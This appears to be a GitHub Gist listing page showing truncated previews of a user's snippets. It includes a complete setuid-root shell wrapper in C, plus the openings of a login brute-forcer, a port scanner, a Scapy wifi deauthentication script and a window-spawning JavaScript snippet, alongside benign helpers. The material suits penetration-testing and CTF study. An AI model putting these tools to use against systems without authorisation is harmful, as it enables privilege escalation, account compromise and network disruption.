This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <unistd.h> | |
| void main(){ | |
| setuid(0); | |
| getuid(0); | |
| execl("/bin/sh", "sh", 0); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <fstream> | |
| #include <iostream> | |
| #include <string> | |
| using namespace std; | |
| void escribe(string fichero, string contenido); | |
| string lee(string fichero); | |
| main() { | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import base64 | |
| destination = input('> ') | |
| with open('users.txt', 'r') as f: | |
| users = f.read().split('\n') | |
| with open('passwords.txt', 'r') as f: | |
| passwords = f.read().split('\n') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| import sys | |
| socket.setdefaulttimeout(0.1) | |
| for p in sys.argv[2:]: | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| try: | |
| print("Connecting to %s:%d" % ((sys.argv[1], int(p)))) | |
| s.connect((sys.argv[1], int(p))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socks | |
| import socket | |
| import requests | |
| socket_getaddrinfo = socket.getaddrinfo | |
| socket_connect = socket.socket.connect | |
| socks_connect = socks.socksocket.connect | |
| def getaddrinfo(*args, **kwargs): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # From https://stackoverflow.com/questions/3231804/in-bash-how-to-add-are-you-sure-y-n-to-any-command-or-alias | |
| confirm() { | |
| # call with a prompt string or use a default | |
| read -r -p "Do you want to attach session? [Y/n] >" response | |
| case "$response" in | |
| [nN][oO]|[nN]) | |
| false | |
| ;; | |
| *) | |
| true |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def ip2int(ip): | |
| chunks = ip.split('.') | |
| res = '' | |
| for chunk in chunks: | |
| i = int(chunk) | |
| res += "%02x"%i | |
| return int(res, 16) | |
| def string2url(string): | |
| res = '' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Scapy based wifi Deauth by @catalyst256 | |
| # Change the client to FF:FF:FF:FF:FF:FF if you want a broadcasted deauth to all stations on the targeted Access Point | |
| import sys | |
| if len(sys.argv) != 5: | |
| print 'Usage is ./scapy-deauth.py interface bssid client count' | |
| print 'Example - ./scapy-deauth.py mon0 00:11:22:33:44:55 55:44:33:22:11:00 50' | |
| sys.exit(1) | |
| from scapy.all import * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| var sons = []; | |
| function newSon(){ | |
| var next = window.open('/'); | |
| sons.push(next); | |
| } | |
| function closeSons(){ | |
| var next = sons.pop(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| REMOTE_PORT=5432 | |
| LOCAL_PORT=5432 | |
| ssh -L $REMOTE_PORT:localhost:$LOCAL_PORT $REMOTE_HOST -N |